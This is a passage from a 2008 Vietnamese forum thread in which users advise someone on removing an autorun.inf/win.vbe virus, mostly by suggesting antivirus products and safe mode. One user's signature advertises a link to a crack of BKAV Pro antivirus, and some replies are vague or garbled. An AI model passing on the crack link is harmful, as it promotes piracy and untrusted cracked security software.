netvietdung Búa Gỗ Đôi Tham gia: Apr 2008 Đến từ: HN Bài: 31 VZD: 609 Điểm: 24/7 bài viết	xem cái này có giúp được bạn không? __________________ Tiền hết tình tan đời tàn người yêu bỏ Anh lên đường theo tiếng gọi quân khu Lúc anh đi không người đưa tiễn Lúc anh về bảy tám thằng khiêng Trên quan tài khắc hai chữ thiêng liêng Tổ quốc sẵn sàng "cắt cơm" đồng chí

09-04-2008, 13:19	#6
trungchanh Rìu Sắt Tham gia: Dec 2007 Đến từ: Hải Lăng- Quảng Trị Bài: 191 VZD: 4.804 Điểm: 77/39 bài viết	vào chế đô safe mode mà xoá xem thử nhưng đừng sử dụng bằng tay mà dùng các chương trình hỗ trợ __________________ Vịnh Hạ Long niềm tự hào của người Việt đang đứng trước cơ hội trở thành một trong bảy kì quan thiên nhiên thế giới. Vì vậy, hãy bình chọn cho Vịnh Hạ Long. Click www.vtv.vn để xem hướng dẫn bình chọn Click www.new7wonders.com để bình chọn Nhanh tay lên nào !

09-04-2008, 10:27	#5
ARTCD125 Gà Con Tham gia: Mar 2008 Bài: 1 VZD: 230 Điểm: 0/0 bài viết	em vào run -> del d:\autorun.inf không được các bác oi window báo là cannot find del... các bác giúp em với

09-04-2008, 17:24	#7
CUBASE Rìu Bạc Đôi Tham gia: Jan 2008 Bài: 497 VZD: 9.049 Điểm: 190/92 bài viết

09-04-2008, 17:39	#8
The Melody Búa Gỗ Đôi Tham gia: Feb 2008 Bài: 37 VZD: 556 Điểm: 1/1 bài viết	post mình file win.vbe để xem nó hoạt đọng ra sao, nếu bạn chưa sử lý được mình xẽ giúp

09-04-2008, 18:06	#9
The Melody Búa Gỗ Đôi Tham gia: Feb 2008 Bài: 37 VZD: 556 Điểm: 1/1 bài viết	à, nó không có nằm trong ở D hay C gì đâu, thường thì ngụ ở trong system 32 thôi. Loại này bkav diệt đuọc roài mà.

09-04-2008, 21:15	#10
khuongchieu Búa Đá Tham gia: Mar 2008 Bài: 60 VZD: 1.587 Điểm: 13/11 bài viết	chào các bạn các loại máy tính khi bị nhiễm virut trên chi việc chôn nổi phai rùi sáo và wet bàng bk ok __________________ khuongchieu

21-07-2008, 21:59	#11
ps200 Gà Con Tham gia: Feb 2008 Bài: 2 VZD: 297 Điểm: 0/0 bài viết	đã thử quét bằng Bkav nhưng phát hiện 0 virus

21-07-2008, 22:05	#12
hoanglong3 Rìu Bạc Đôi Tham gia: Jan 2008 Bài: 466 VZD: 9.089 Điểm: 697/118 bài viết	Bạn thử cập nhật kaspersky xem sao __________________ Hack BKAV PRO nè, Vô đây xem rồi biết http://www.vn-zoom.com/f100/crack-bk...xem-32242.html Viết bài xong nhớ nhấn THANKS ~~ Nếu bài viết của tôi có ích cho bạn ~~ http://www.galaxyz.net/index.html?s=1

21-07-2008, 22:14	#14
hangphuoctru Búa Gỗ Tham gia: Jul 2008 Bài: 13 VZD: 836 Điểm: 3/1 bài viết	ban dung thu phan mem AVG 7.5 (co update ngay moi nhat) coi co diet duoc ko?

22-07-2008, 11:40	#15
tienvipbecon Rìu Chiến Tham gia: Jan 2008 Đến từ: HCM city Bài: 1.680 VZD: 19.264 Điểm: 361/290 bài viết	dùng KIS 8 scan coi đc hem hông đc thì repair máy bằng đĩa Win rùi cài KIS 8 để phòng ngừa sau nài __________________ Spamer: Keke, spam đã wé!MOD: Ê, thằng kia spam hả, tao thấy roài nha! MOD: Spam hả? Spam này! MOD: Chừa chưa hả?Spamer: Dạ em xin chừa! Tu 9 tháng!

Ðiều Chỉnh
Tạo trang in Email trang này
Xếp Bài
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode